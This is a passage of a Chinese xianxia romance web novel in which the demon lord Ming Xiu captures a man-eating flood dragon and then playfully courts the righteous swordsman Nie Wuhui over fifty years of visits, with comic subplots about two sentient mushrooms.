“真是可恶,让他们明年的产量翻倍好了,本尊并非嫉妒,而是对门中属下寄予厚望。” 话音刚落。 明修的余光忽然瞥见角落的土堆里,钻出了两个拇指大的小鼓包,仔细看去,竟是两朵小巧可爱的肉灵芝。 明修:"?!" 他简直不敢相信自己的眼睛。 等他凑近了,蹲着身,小心翼翼地拨开表层的土,明修才确信—— 果真是新生的肉灵芝。 一朵为白色,形态细长高挑,伞下有菌丝垂落飘摇,看上去仙气飘飘,实属菇中绝色,让人心生怜爱。 移不开眼。 明修勉强收回目光,飞快地瞥了眼另一朵。其为黑色,菌伞外围泛着暗红,形态也矮墩墩的,一看就不是什么正经好蘑菇。 品相着实堪忧。 算了,有个蘑菇样就行了。 就跟人中常出败类一样,蘑菇里也是有歪瓜裂枣的。明修早早就明白了这个道理。 最让他宽慰的是,这两朵新生蘑菇竟不惧怕他的魔气侵扰,实乃意外之喜。 “好,你们很争气。” 明修连声赞叹,掏出两个玉盆,将它们分别移栽进去,满意地点点头, “定是在本尊日积月累的努力下,孕育出了新品种。” “不愧是我。” 他小心翼翼地浇灌了几滴灵泉,又面带微笑地欣赏了许久,忍不住连菇带盆地端出了地宫,放到自己的卧房内。 窗外,乌云稀薄了两分。 对于连戮峰中的魔修来说,这已经是顶好的天气了。 明修站在窗边,眺望着远处活灵活现的《魔修劳动改造图》,语气甚是欣慰, “真是岁月静好,一片欣欣向荣啊。” 数千里外。 听到这一句传音极远的感慨,所有人默默咬牙,却不敢有一丝怨言。 明修欣赏片刻,满意地关上窗,对被自己放在窗柩边的两盆小灵芝轻声细语道: “这样好的日子,本尊去抓条蛟龙活动一下筋骨,你们可要好好的,勿要堕了本尊的威名。” 眨眼间,男人飞遁离开。 屋中寂静。 不多时,只听啵的一声。 窗台上,那朵黑色蘑菇将菌柄扭成麻花状,把自己连根拔起,然后钻进了隔壁玉盆中,跟白色蘑菇依偎在一处,菌丝也交缠不清。 “……” 另一头。 明修出现在近万里之外的裂谷上空。 裂谷极深,光照不进去,其内是一条蛟龙的领地。明修踏着虚空而立,垂眼时脾睨干里,岸边堆积的人类骸骨一览无余。 大多是寻常百姓的。 少数,是修士骸骨。 听说这道裂谷与一个秘境相连,那条蛟龙占据此处后势力大增,每每在外胡作非为之后,就躲进裂谷中,行踪诡秘难寻。 明修来此处,不是想要除魔卫道。 毕竟他自己就是一个魔修。 主要是他有点累了,不想时刻开着天眼监视那些惯爱溜奸耍滑的魔修,偶尔看一眼还算新鲜,天天看就没什么意思了。 因此,他需要一条魔蛟代替自己监工。 若是实在无法降服,明修不介意大发善心,将其超度——反正蛟龙一身是宝,他横竖不亏的。 明修点点头:“本尊真是勤俭持家,考虑周全。” 只是当前有个问题。 那条蛟龙隐匿于裂谷中,得想个办法将它逼出来,又要提防它通过于裂谷相连的秘境逃脱。 好在对明修来说,这个问题不大。 曾几何时,他只是一个生活在贫困村落的幼童,母亲难产早逝,他与做屠户营生的父亲相依为命,倒也算自得其乐。 某一天。 他在外野了大半日,拎着从山里抓的麻雀回村,却发现整个村落都被屠戮,焚烧,昨天还活生生的人化为一具具焦骨,面容痛苦恐惧,齐齐望向天空。这般离奇景象,只能是修士所为。 那一年,明修才七岁。 他没有家了。 ——这个世道就是如此。 在修士眼中,他们这些寻常人大概与蝼蚁无异,谁会因为路过踩到蝼蚁而驻足,留心呢? 蝼蚁又如何能反抗这弱肉强食的世道? 再后来,明修独自摸爬滚打,长到了十三四岁,像他这样的孤儿不计其数,算不得命运悲惨。 十五岁那年,听说朝廷有妖人作乱,随后各地起了战事,明修被应征,同数万人一道上了前线。 训练。厮杀。生与死之间徘徊。 泥土被鲜血染成深褐色,遍地的断肢残骸,是敌人的,亦或是战友的。 明修分不清。 他只知道自己在战场厮杀了近十年,从一介小兵到一国将领,手下亡魂无数,呼吸间,能嗅到自己身上的血腥味。 不想死,就只能剥夺他人的性命。 没办法。 这世道就是如此。 直至某天,变故突生。 那是一场灭国之战,两国将士厮杀在一处,战鼓与号令声不绝于耳,兵刃交接发出的嗡鸣绵密如雨,不停歇。 陡然间,天空变色。 一方巨大的黑鼎倒扣于高空之上,将整个战场笼罩,阴寒腥臭的血雾倾斜而下,瞬间席卷了数十万人。 包括明修。 他看到无数张麻木的脸,那些脸上皆是痛苦之色,浑身血肉仿佛烈阳下的冰雪,转瞬间消融…… 黑压压的天,没有尽头。 明修的身体同样被炼化。 恍惚中,他似乎通过一个特殊视角看到了这十年战争的真相—某个魔修获得了这件魔兵,须以血煞之气填补,以生人魂魄熔炼.… 这数十万的人,在魔修眼中,只是用以消耗的材料,或许跟路边的花花草草没什么区别。 还是那句话:世道如此。 这是明修在年幼时就明白的道理。 只是不知为何,他压在心底的愤怒喷涌而出:世道如此,就要接受吗?凡人在修士面前确实如同蝼蚁一般…… 但,蝼蚁亦有怒火! 正如过往二十几载,明修又一次与死亡擦肩而过,可笑那魔修谋划十数年,竟为他做了嫁衣。 莫名被魔鼎认主的明修不仅成功反杀那名魔修,还一夕晋升元婴期。 天雷劫当即来到,全被他硬扛了下来。 雷光消散,明修以骷髅之躯立在原地。 他仰头望着天,血雾乍现,附着在枯骨上,重塑他的血肉。 他终究是命硬。 从此,世上没了一个叫做‘明修’的将军,多了一个来历不明的魔修。 入道之后,明修看到世间万象。 他看到魔修随手抓人炼丹炼药,或是奴役虐待,亦或是驱使邪术吸人精气寿命…… 明修厌恶魔修。 偏偏他也是个魔修。 于是,他独自踏上了一条征战之路,灭了不少魔道宗门,大邪大恶之辈都死在他的掌下,无一幸免。 而那些气味 尚能忍受的魔修,明修便自立一宗门,名为戮天宗,随后将众人收入门中,并热衷于折磨 啊不是,是让他们体验一番被人当做蝼蚁般任意摆弄的滋味 ——己所不欲,勿施于人。 七岁小孩都懂的道理,他要教教他们。 裂谷上空。 明修双手背在身后,在战场上锻炼出的身姿挺拔且健硕,无尽血雾从他体内喷涌而出,于天穹凝聚出一方倒扣的巨鼎。 随后,他盘腿坐在鼎耳处,墨色衣袍被狂风吹得猎猎作响。 下一瞬。 他并指划过眉心,血雾便如瀑布一般从千丈高空倾泻而下,一股脑涌入裂谷中,开始炼化…… 很快,地底传来一道沉闷龙吟。 裂谷突然从中劈开,玄渊魔蛟破土而出带起一阵气浪,倒刺嶙峋的龙尾扫过,山石崩裂,一堆堆骸骨如碎石般滚入深渊。 魔蛟腾空而起,吼声震耳, “你是何人?!” 明修轻笑一声,反问:“我为什么要回答你?你在吃人之前,会先问问那个人叫什么吗?” 话毕,他翻掌下压,炼魂鼎对着魔蛟当头罩下,将它困在鼎中,逃脱不得。 不多时。 一枚朱红色的蛟龙内丹自鼎口飞出,落到明修的掌中,丹内有一道龙影翻滚,动作仓皇无措 明修将它收入袖中,又从中取出一只大麻袋。 实际上,这是一件能够让灵植保持鲜活的储存法器,只是在明修的个人偏好下,外形变成了农家随处可见的麻袋。 他提着空荡荡的麻袋,感慨一声, “春天到了。” “正是野采的季节。” 说罢,他就要深入裂谷,探寻与其相连的秘境入口。 就在这时候。 裂谷附近的扬尘在剑气劈开,明修一闪身,扭头就见一个白衣男人踏云而来,眉眼轮廓漂亮极了,腰封顺着他的剑势翻飞,在明修面前一晃而过。刹那间,明修的脑子里闪过三个字。 ——腰真细。 他歪了歪脑袋,问:“喂,你分明不是魔修,怎么也无缘无故动手伤人?” 白衣男人持着剑,与他四目相对,神色淡然地道:“你是食人之蛟,我又岂是无缘无故?” 明修一下子就反应过来了。 原来这人是将自己错认成那条蛟龙了。 倒也不是什么怪事。 他与魔鼎融合至深,一身魔气藏也藏不住,再加上方才他将魔蛟内丹收入袖中,魔气与龙气交融,认错也无可厚非。 但明修没急着解释。 他将男人从头到脚打量了一遍,忽然开口问道:“你是哪个正道宗门的修士?速速报上名来。” 不知道为什么,正道修士都喜欢穿一身白,寡淡得很,还不耐脏。 今日,他改变了想法。 白色穿在对面那个男人身上,最好看。 男人衣冠整齐,看起来清正又漂亮,跟对方比起来——明修的衣襟松垮,半片胸膛露在外头,一头微卷的长发披散于肩后,实在不成体统。 “归清门,聂无洄。” 听到男人的回话,明修还有些意外。 他挑了挑眉,说道:“没想到,你脾气还挺好的…….” 要是有魔修这样嚣张地对自己说话,他横竖要回敬一两个巴掌,再应答。 他话锋一转,又道:“我再问你,你今年几岁了?可有结交道侣,对了,你看看我怎么样?” 白衣男人神情未变,只轻声应了句, “休要胡言乱语。” 说完,男人便持剑袭来,剑锋所指正是明修的咽喉,然而剑光未及他的肌肤,便被他周身的血雾抵住。 明修不慌不忙,继续说:“本以为你生得漂亮,性子也温柔,剑意竟如此凌冽。” 回应他的,是愈发迫近的剑锋。 两人打了一阵,你来我往,一时之间分不出谁占了上风。 明修手里仍攥着那只大麻袋,很想将男人套进去。 又纠缠片刻。 男人发觉不对,先一步停下了攻势,退开距离后发问:“你不是魔蛟……” 天气甚好。 就连戮天宗上空的乌云难得散开了。 曦光落下来,暖融融的。 明修手一翻,掌心中赫然出现一枚蛟龙内丹,那条魔蛟的魂魄被他困于丹中,无法轻易脱困。 咻的一下。 明修将内丹丢了过去,见男人下意识接过,才低笑着说: “戮天宗,明修,你记好了!” 212、Chapter 212 ——明修。 在此之前,聂无洄就听说过这个名字。 对于求仙问道的修者来说,数十年光阴不过是弹指一挥间,然而面前这个人却只花了不到五十年的时间就统一了魔道。 何其强悍。 自那场上古仙魔之战后,正邪两道势均力敌,可这位魔尊横空出世,隐隐有打破平衡的趋势。 正道宗门不禁未雨绸缪,商议了一番。 只可惜线索太少,捋不清。 明修这个人就像是从石头里蹦出来的一样,无人知他从何处来,师承何方,只道此人功法诡异,让人毫无招架之力…… 正道宗门不得不提防。 作为正道魁首,归清门自然要承担更多的义务,因此掌门一早便将此人的事迹告知了聂无洄,言语间,透出两分忧心。 聂无洄却有着不同的想法。 “掌门,这位魔尊将大部分魔修收服归拢于戮天宗,未必不是一件好事。” 迎着掌门的视线,他继续说: “魔修行事放纵狠辣,若是有人能多加约束,反倒造福了苍生,只可惜那位魔尊的行踪难寻,否则我真想跟他见一面…….” 眼下,一语成谶。 聂无洄怎么也想不到,在说完那句话的数月后,自己就与魔尊明修见了面,还打了一架。 正所谓,不打不相识。 聂无洄回想着两人打斗的过程——男人出手并不狠辣,可以说只守不攻,只顾着说些不着调的玩笑话,这才被自己觉出异常。 他半敛着眸,掌中的蛟龙内丹如朱砂一般猩红,隐隐发热。 而身前不远处的玄衣男人正目光灼灼地盯着自己,视线比蛟龙内丹还要滚烫,让人无法忽视。 聂无洄抬眸望过去,就听见那人朗声喊道:“你有什么想问我的吗?” “本尊定然知无不言,言无不尽!” 话毕,男人便将双手背在身后,维持着侧身45度的挺拔站姿,下颌线的线条流畅极了,衣袍无风自动,滚出很潇洒的弧度。 聂无洄:……." 有点像孔雀开屏。 但聂无洄确实因为他的话心动了。 据他观察,这位魔尊身上的血煞之气极为浓重,言辞虽然轻佻,却不是无法沟通的残暴弑杀之辈…… 就是有些口花花。 种种思绪一闪而过,聂无洄露出一抹客气的微笑,率先将蛟龙内丹与本命仙剑收了起来,冲那人点头应道: “甚好。” 明修本就竖着耳朵听动静,闻言,心中很是欣喜,面上却摆出一副矜持又平静的模样,语气淡然, “你很有眼光,我确实很好,没想到我们竟是如此心意相通。” 聂无洄:“?” 他面上神色不变,沉稳地接过话头, “魔尊…….” 不料刚吐出两个字,男人便皱起眉,纠正道:“听起来怪生疏的,你直呼我的名字便是,叫什么魔尊,你我之间何须客气?” 聂无洄: " 怎么就无须客气了? 如果他没有记错的话,他们二人现如今才第一次见面吧?阴差阳错之下,他刚才还对男人动了剑,怎么就…… 聂无洄实在想不明白,为何男人每说一句话,自己与他的关系好像就近了一大截? 倏然间,聂无洄想起男人方才对自己提过‘道侣′二字,忍不住摇了摇头。 他不想与对方交恶,委婉推拒道: “多谢魔尊厚爱,但无洄已千岁,且无心于情爱,不曾想过与他人结为道侣。” 听到这话,明修一愣。 他再度打量起聂无洄。 白衣男人看着只有二十来岁,容貌是一等一的好,瞧着芝兰玉树,温润清正却不失锋芒…… 明修怎么看,怎么喜欢。 他盯着男人那种世间绝无仅有的漂亮脸蛋,恍惚道:“这有什么要紧,我又不嫌你年岁大,无洄你也无须介怀。” 怎么就‘无洄′了? ……算了。 聂无洄沉默片刻,转移了话题,“敢问魔尊捉拿那条魔蛟是为何?是想将其收入门下,或是充当坐骑?” 若是平时,明修大概要说些漂亮的场面话,比如‘本尊见它是可造之材,有心给它指一条明路’之类的…… 然而,此刻非比寻常。 简单来说,就是他的脑子供血不足,因此措辞变得直白,听起来干巴巴的, “本尊不喜它食人,想要抓它回戮天宗做个苦力,也省得我日夜监视那些魔修,怪没劲的。” 聂无洄心神一动,又问:“听闻魔尊统一魔道,底下魔修岂敢不从,为何要监视他们?” 明修听着男人清朗的嗓音,魂飘出去一半,以至于答非所问, “你怎么还这样客气地唤我?” 聂无洄:".…" 聂无洄沉默许久,从善如流地补充了一句,“明道友。” 明修不太满足,却也知道犹过不及的道理,于是他主动将话题拐了回去,“无洄想知道戮天宗的事情?” 已知,戮天宗是他创立的宗门。 同理可证,聂无洄想要了解戮天宗,就是想要了解他! 明修笑了一下,邀约道: “本尊说再多,又有什么意思呢?不如无洄随我回戮天宗做做客,你我二人也好畅谈一番。” 聂无洄望着男人朝自己伸出的手掌,视线顺着掌心上移,撞入一双黝黑的眼瞳。 这时,聂无洄才发现这个以一己之力颠覆魔道,让正道宗门暗暗心惊的魔尊,竟生了一双眼尾上挑的杏眼。他愣了几息,缓声应道: “……好。” 闻言,明修面上无波无澜,只在心中暗暗夸赞了自己一声,领着聂无洄往戮天宗飞去,嘴巴一路上没个消停。 “洄是哪个洄?要不你握着我的手,在我手心里写一个看看,不然我认不出来。” 聂无洄不语,只是施了个诀,让云层幻化成自己的名字。 明修眼疾手快,将那朵云套入麻袋,眼睛却紧盯着聂无洄,仿佛想要将他本人装进麻袋带走。 聂无洄: …" 然而,接下来的所见所闻,更是让他叹为观止,全然忘了身边男人的种种不着调行为。 原因无他。 正是因为戮天宗境内的奇景! 飞舟的速度缓慢,恰好能让舟中人看清周遭的景象。 明修跟男人坐在同一侧,指着底下的田地,以及在田地里辛苦劳作的一众魔修,语气轻快, “天将降大任于斯人也,本尊对属下期望颇高,因此对他们多有磨砺,俗话说得好么,吃得苦中苦,方为人上人!” 只要长了眼睛的人都能看出,戮天宗并不适宜耕种,更何况是聂无洄。 无须他主动发问,明修观他神色,主动将前因后果与动机交代了个彻底, “.…在百年前,本尊还只是个凡夫俗子,看尽世道艰险,因此也想要让他们体会一番凡人求生的艰苦与不易。” 聂无洄望着底下乖乖种地的众魔修,不禁扭头冲男人笑笑,轻声道: “没想到明道友竟如此体恤苍生,无洄自愧不如。” 他心中喜悦,眼里也闪着明耀的光,只觉得今天这一趟没有来错,就听男人的话头一转,忽然道:“这些看过就算了,也没什么新奇的…” “本尊的卧房里还有好东西,想请无洄瞧上一瞧。”明修又往男人身边挤了挤,不动声色地扯着人的袖子,语气亲近。 他说的是窗柩上那两盆可以抵御魔气侵蚀的肉灵芝。 殊不知,聂无洄误会了他的话。 男人神色内敛,将袖子收了回来,跟明修拉开距离,开门见山地道:“明道友,我对你只有敬佩之情,望你自重…” “莫要再言语轻佻。” 明修满脸不解。 之前那会儿就算了,他现在哪里轻佻? 看个蘑菇有什么轻佻的?? 他默了默,决定为自己好生解释一番, “无洄误会了,我是很想与你双修,共赴巫山云雨,但我现在不是这个意思….…” 说着说着,明修很可疑地停顿了一下,补充道:“如果你想的话,我也不是…” 聂无洄语速飞快,“我不想。” 闻言,明修满脸失落。 见此情景,聂无洄实在压不住好奇,问道:“你我不过初见,还交过手,明道友为何对我怀有这般心思?” 明修眨眨眼,应道:“你生得好看。” 聂无洄很平静地点点头,继续道:“听起来像是见色起意,明道友亦是修者,自当明白红颜枯骨的道理……” 明修莫名笑了一下。 见聂无洄投来好奇的眼神,他解释了一嘴,“你是红颜,我是枯骨,莫不是天生一对?” 聂无洄无言以对。 下一瞬。 聂无洄就见男人笑了一下,一缕微卷的鬓发扫过他的眉眼,他的语调低沉且悠扬, “——可我就是见了你的色,起了你的意,不是别人。” 明修与他四目相对,继续说: “惊鸿一瞥,一见倾心.……随你怎么说都好,反正本尊也不在乎,就是打心底里想同你亲近,说说心里话。” 戮天宗的天气好极了。 阳光明媚。 男人的眉眼镀上一层浅金,他伸手握住聂无洄的腕子,将他的手牵到自己面前,另一只手轻握,用食指在聂无洄的掌心处写下两个字— 明,修。 聂无洄只觉得掌心一阵微痒。 "……." 最后一个笔画落下,明修忽然听到耳边响起一道空洞怪异的声音, 【警告!世界主线偏移10%。】 213、Chapter 213 又幻听了。 但明修已经很习惯这种事了,不奇怪。 遥想当年,他在战场上与数十万人一同被祭了鼎,血肉被炼化,只剩神魂与魔鼎融合绑定。 此后,明修获得了部分魔鼎记忆。 他知道这件上古法器曾是一位大能的本命仙器,只是吸收了太多魔气,才被逐渐侵蚀成一件魔兵。 非武器之错。 那时魔鼎内还残留着一丝器灵意识,感知到明修心中那阵磅礴的反抗之心,以及数十万人对死亡的恐惧.…. 于是,它从数十万人的神魂中分别抽取了一丝力量,补足了自己残缺的意识。 也正因如此,它才有能力将鼎内亡魂放出,让他们得以投胎转世,还给自己寻了一位意志坚韧的主人。 正是明修。 然而鼎内的上古魔物怨气万年不散,时常化作心魔音,想要动摇明修的意志,让他大开杀戒。 幸好器灵意识已经补全了自身,能与之抗衡,免除了明修大多时候的困扰。 之所以是‘大多时候,是因为上古魔物怨气实在狡猾,总能察觉趁明修心绪波动的时候跳出来,说点什么不中听的话。 比如,撺掇明修解放天性,不要压抑自己,魔修就应该肆无忌惮,或是问他恨不恨这个世界,不想做点什么吗? 明修恍然发觉,它说得竟有两分道理。 他确实不满意这个吃人的世道,不如花些心思,将其变成让自己顺眼的模样。 做不成除魔卫道的仙,不要紧,他可以做一个以恶制恶的魔。 所以,明修扫荡魔道,创立戮天宗。 为防止门下魔修逃跑,他干脆一不做二不休,采取了一劳永逸的做法—— 明修炼化了戮天宗所处的这片空间。 可以说,他一人即‘戮天宗,此空间内的任何人事物都难逃他的掌控。 也不是没有坏处。 毕竟他与魔鼎神魂相融,他愈强,魔鼎也愈强,二者并非此消彼长的关系。 但明修接受良好。 不就是古怪的心魔音又多了一道么? 多大点事儿啊? 不过这道古怪心魔说的话,明修有时也听不明白,什么世界构建中,检测屏障是否完整,它开启自动监测功能等等没头没尾的语句… 再比如,今天这句—— 【警告,世界主线偏移10%。】 他视若罔闻,仍旧牵着聂无洄的手,大拇指不自觉地摩挲着对方的腕侧,写完字的食指还坏心眼地挠了两下男人的掌心。 嗖的一下。 聂无洄面无表情地收回了手。 明修心里乐开了怀,却极力保持着表情和风度,不让自己笑出声。 他生怕这人甩袖离开,咳嗽两声,继续道:“本尊独自创立宗门不易,底下魔修又都不是省油的灯……” 明修很真诚地眨眨眼,嘴角含笑, “听闻归清门乃是正道魁首,无洄道友又是归清门的长老,想必很有治理宗门的心得吧?” 他在‘道友′二字上,落了个重音,却听不出疏离客套,反而有种欲盖弥彰的亲近暧昧,让人浮想联翩。 话罢,明修再度拽住男人的衣袖,“本尊想向无洄道友讨教一二,不知可否?” 聂无洄:“.….” 面前的玄衣男人仿佛知他所想,一字一句,让聂无洄无法直言拒绝。 就这样, 聂无洄被他拽着袖子,领进了卧房。 期间,聂无洄也出言提醒过他,“明道友,我自己会走,你无须这般……” 话没说完,就听明修很惊喜地道:“正是,拽袖子是有些不雅,还是我牵着你更稳妥些!” 聂无洄顿时没话了。 他并不担心男人会对自己做什么。 尽管明修很强大,但他也不弱,若是动起真格来,结果如何还是未知数。 聂无洄心中更多的,是对这人不着调言行的无奈。 他容貌甚佳,年岁又长,千百年来不是没遇到过好色之人,言语轻佻放荡,对自己口花花个不停,但…… 但没有一个人,像明修这样。 聂无洄不觉得受到侮辱,也不反感,还隐隐有种遇到志趣相投之人的求知欲。 他也是乱世孤儿,幸而被归清门掌门捡了回去,这才活了一条命。 后来,聂无洄历练时看尽世道艰险,便想着为苍生尽一份绵薄之力。 他并不拘泥于正邪两道的立场。 这世上的人千百种模样,有表面风光霁月,背地里却道德败坏的正道伪君子,也存在有情有义的魔修。 人性本就是复杂的。 因此,在亲眼看到戮天宗的景象,以及听到魔尊明修的治下理念,聂无洄不由得对他心生好感。 只是这话,他不能直接说出来。 ……恐怕那人当即就要吐出一句‘你我果然心意相通,两情相悦,不如择日就举办道侣大典吧?'' 一想到这个可能性,聂无洄陷入沉默。 明修不知他心中所想。 要是知道,他定要感慨一句, “真是字字说在我心坎上了!这岂非就是心有灵犀一点通?!” 他无所觉地拉着聂无洄来到卧房的窗柩前,还没来得及冲聂无洄献宝,就见两个玉盆空了一个。 明修定睛一看—— 那朵品相不佳的矮小黑蘑菇莫名其妙地栽进了旁边的盆里,跟另一朵漂亮仙菇相偎相依,难舍难分。 明修:“?” 他眸光微闪,很快通过窗台上的零星泥土痕迹得出一个结论:竟是这朵蘑菇自己长了腿爬过去的! 就在这时。 明修听到身旁传来男人的说话声,嗓音温润清朗,勾着人的心, "……肉灵芝?" 明修连忙收回唇边的嗜血冷笑,决定再让这朵菇中败类再多活一天,然后挑了个让自己看起来格外丰神俊朗的角度,转头看向男人, “正是,本尊带你过来,是想让你瞧瞧这盆纯白的肉灵芝,清新脱俗,观之让人心神大悦……” 明修顿了顿,盯着男人含笑道: “就像你一样。” 聂无洄脸上的微笑纹丝不动。 他沉默了一小会儿,决定忽略这句意味深长的话,道:“我倒觉得另一朵生得灵动丰润,惹人怜爱。” 不知是不是聂无洄的错觉,他总觉得在自己说完那句话后,黑色蘑菇看起来似乎更挺拔了,菌伞微微昂起。 明修则暗骂道:“什么惹人怜爱,真是心机之菇!” ……他都没有这样夸过我! 或许是明修的眼神过于灼热,聂无洄紧盯玉盆,不看身边的男人,难得抛却了与人对谈时的礼仪,自顾自地道: “没想到明道友能以身作则,践行自己的理念,无洄实在佩服。” 闭合的窗外,天空中刚聚起的一小片乌云立刻消散了,阳光仍旧明媚。 明修揪着聂无洄的衣袖,指腹一遍遍地摩挲着银丝滚边云纹,跃跃欲试地想要去勾聂无洄的手…… 聂无洄在心里暗暗叹了一口气。 下一瞬。 明修就听男人说:“待我回到宗门,禀明掌门,也好让其他宗门知晓明道友的苦心孤诣,免得徒生误会。” 闻言,明修瞬间就急眼了。 他也不迂回试探了,一把攥住聂无洄的腕子,语速飞快,“怎么还没说几句话,你就要走?” 说着,明修两步上前,跟聂无洄面对着面。见聂无洄往后退一步,他还要再前进三步,直至将人堵在窗边。 聂无洄避无可避。 两人的距离极近,脸与脸之间只能勉强塞下一个拳头。 聂无洄并不躲避视线,而是神色坦荡地与男人对视,平静道:“就算现在不走,我迟早是要回归清门的,况且无洄没有寻道侣的心思,不想让明道友误会” 明修问:“你讨厌我?” 聂无洄:“….…不讨厌。” 见男人张了张口,他连忙补充道:“不讨厌,也不代表我对你有情意。” 聂无洄原以为他会不悦,没想到明修只是点了点头,很随意地说了句,“哦,没有就没有吧,你不讨厌我就行。” 说着,明修还冲他笑了一下,略微得意地仰起下巴, “本尊是个知情识趣的人,若是你讨厌我,我怎么好意思往你跟前凑?岂不是平白惹你不痛快?” “我可舍不得。” 话罢,他抬手冲聂无洄伸去,上身随之向前倾,聂无洄下意识地偏头躲闪,却听见身后传来吱呀一声。 ……男人没有行逾矩之事。 他只是推开了聂无洄身后的窗,然后指着窗外的景象,——跟聂无洄介绍,期间还提起自己统一魔道过程中遇到的趣事,亦或是印象深刻的场景。聂无洄的心中闪过一丝惭愧。 明修的口才很好,说得引人入胜,聂无洄听得认真,脸上不由得浮现一抹惺惺相惜的淡笑。 刨去那些亲热戏言,两人相谈甚欢。 明修说了半晌,说得口干舌燥。 他用余光瞥着男人唇边的弧度,忍不住一顿,没有注意到自己的话头很突兀地停住了… 徒留一室寂静。 片刻后。 没有人说话。 还是明修率先开了口,他扭过脸,盯着聂无洄的唇,忽然问道:“你没有喜欢别的什么人吧?” 聂无洄:"" 怎么又拐到这里来了。 他望着窗外,缓缓地摇了摇头。 明修忍不住笑了一声,惹得聂无洄补充了一句,“我也没说…喜欢你。” 明修还在乐,追问:“那你之前说 没有寻道侣的想法’到底是不是真的?还是说只是为了拒绝我?” 聂无洄以为他明白了自己的拒意,当即松了一口气,应道:"千真万确。" “——太好了!” 明修喜出望外,留意到男人微微错愕的表情,他轻轻咳嗽两声,收敛着神情,矜持而又直白地道: “既然如此,那我跟你打个商量……” 窗外掠进一阵风。 风撩动着玄衣男人的散发,微卷的发梢长至腰部,轻轻搔着聂无洄的手背。 无端端的痒。 与此同时,聂无洄听到那人说, “往后你要是想找道侣了,我要排在第一位,绝不许越过我去!说好了?” 214、Chapter 214 归清门,灵兆峰。 夜色浸透云海,檐下挂着一串贝壳与红玉珊瑚珠制成的风铃,被晚风吹得发出一阵空灵婉转的响声。 琼霄阁,殿内。 聂无洄坐在案几前,手执一卷书。 案上摆着两个玉盆,其中一盆只装了散发着魔息的黑土,两朵指头长的肉灵芝挤在另一个盆中,一高一低,黑白二色。 好不可爱。 却也跟这殿内的摆设不搭调。 当聂无洄翻过一页,恍然听见男人低沉性感的嗓音,语气里透着无尽的怅然, "……你说,我们这样算什么?" 聂无洄头也没抬,又翻过一页,视线全程没有移开书面,似乎没发觉屋中突然多了一个人,也没有听到那人说的话。烛火在鎏金鹤首灯台里摇晃。 男人身后的檀木书架投下斑驳暗影,衬得他仿佛周身散发着朦胧的霜色。 只是霜色被烛光融化,看起来很温暖。 明修倚坐在窗边,摆出双手环抱,一脚落地,另一只脚踩着窗框的潇洒姿势,偏头的动作略显哀愁,像一个孤独侠客。见聂无洄没有反应,他长吸一口气,然后重重地叹了出来。 这口气实在悠长,能将整座殿中的灰尘吹出十万八千里。聂无洄翻书的动作一顿:“……”他掀起眼皮,瞥了眼窗台上的那人,淡声应道:“算你夜闯归清门,算你有正门不走,非要跳我的窗户。” 闻言,明修从窗台跳起来。 他几步上前,很不客气地从案几底下扯过一把专属于自己的椅子,跟聂无洄肩并肩坐着,语气揶揄,“我又不是第一次夜访,第一次走窗户了,你怎么现在才计较?莫不是本尊格外惹人喜爱,无洄仙君也舍不得斥责?”他压根没给人留气口,说完就掏出一小框小橘子,递到聂无洄面前, “这是戮天宗刚产的橘子,头一筐,你快尝尝甜不甜。” 聂无洄:“…” 算了,已经习惯了。 自两人初遇后,过去了将近五十年。 这五十年,聂无洄过得很热闹,与之相反的是——因有他在中间递话,正邪两道相安无事,很平静。 期间,某个男人明里暗里造访归清门的次数,数之不清。多半是夜里。他三天两头地来,次次都不空手。 聂无洄沉默地放下书,环视了一圈自己的寝殿——屋檐下的风铃、书架上不属于他的话本、鹤首挂着的草编、以及桌上这两朵肉灵芝…… 要不是他拦着,那人说不定连自己的床榻都要搬进来,简直不知道谁才是这座寝殿的主人,谁又是客人。 明修很有家主人的气度。 见聂无洄沉默出神,他自行从筐里挑拣出一颗圆润饱满的橘子,去了皮与丝络,往男人唇边递。 “喏?”聂无洄敛下眸子,呼吸之间,是橘子果肉的清香,酸甜可口,诱人口齿生津。他知道自己若是张口说些拒绝之语,那人便会抢先一步将果肉塞进来他的嘴里,还装聋作哑地‘啊?''一声,表情无辜。于是,他习惯性地接过橘肉, “………多谢。”老实说,聂无洄不是没有拒绝过。只是自打两人初见那刻,男人便举止亲昵,此后聂无洄一次次地推拒,却换来那人轻飘飘的一句,“这有什么?你拿我当好友,我拿你当未来道侣,岂不是两全其美?况且挚友之间不正是要交心,互相善待吗?”“你这样拒人于千里之外,我的心真是寒透了,不信你摸摸?” 话毕,他照旧行事。 聂无洄:“……强词夺理。” 奈何那人就是不同他讲道理,一贯的我行我素,执拗得气人,可除去这几点,聂无洄确实欣赏他、钦佩他、每每与他谈话,总是别有一番滋味。 他是真想与明修做一双挚友。 然而,这人实在是…… 橘子汁水在聂无洄的口腔中绽开。 甜压过了酸。 而他在五十年间,不知被那人强行往唇齿间塞了多少吃食,早没了辟谷的习惯,沾了浑身的红尘烟火气。 殿内安静下来。 明修难得止住了话头,静静地看着白衣仙君吃橘子的侧脸,实在忍不住了,便压低声音感慨道: “阿洄,你的睫毛可真长,又翘,像两只翩翩蝴蝶,往我心里飞……” 聂无洄早习惯了他胡乱地叫人,昵称一个接着一个,没个规矩,也听多了这些亲昵示爱的话语,表情丝毫不惊讶。 他很平静地侧过身子。 不料明修眼疾手快地仰面躺下,脑袋正正好砸在聂无洄的大腿上,将他压得动弹不得。 聂无洄:“……起来。” 话音刚落,明修调整了一下姿势。 他枕着聂无洄的腿,腰背悬空,看着要多难受就有多难受,偏偏他的神情却志得意满,嘴边挂着一抹乐滋滋的笑。 一步步,一寸寸。 明修终究是得偿所愿。 可他这人贪心,还不满足。 于是,明修义张着嘴,啊了一声,示意道:“你喂我一瓣,让我也尝尝味儿?” 聂无洄抿了抿唇,垂眸瞥了一眼男人空闲的双手,还没开口,就听他义正言辞地补充道:“刚才为你剥橘子,手累着了,使不上劲儿……” 殿内两个人,没一个人信。 可也没人戳破明修理直气壮的谎言。 聂无洄早就尝试过了,但是这人被堵回去一回,还有其他更让人无法拒绝的说辞。 最一劳永逸的方式,就是如他所愿。 聂无洄不记得自己是脾性软弱的人,否则他也做不成公认的正道第一人,威慑魔道数百年。 可在明修面前,他好像没了脾气。 说不定明修正是察觉到这一点,才愈发地肆无忌惮,迟迟不肯放弃他那套世间罕见的‘你把我当兄弟,我拿你当夫人''说辞。……他亦言行有失。 聂无洄思忖片刻,果真如明修所愿,往他嘴里塞了一瓣橘肉,恍然瞥见他垂落在地面的长卷发,轻声道: “起来,我为你束发。” 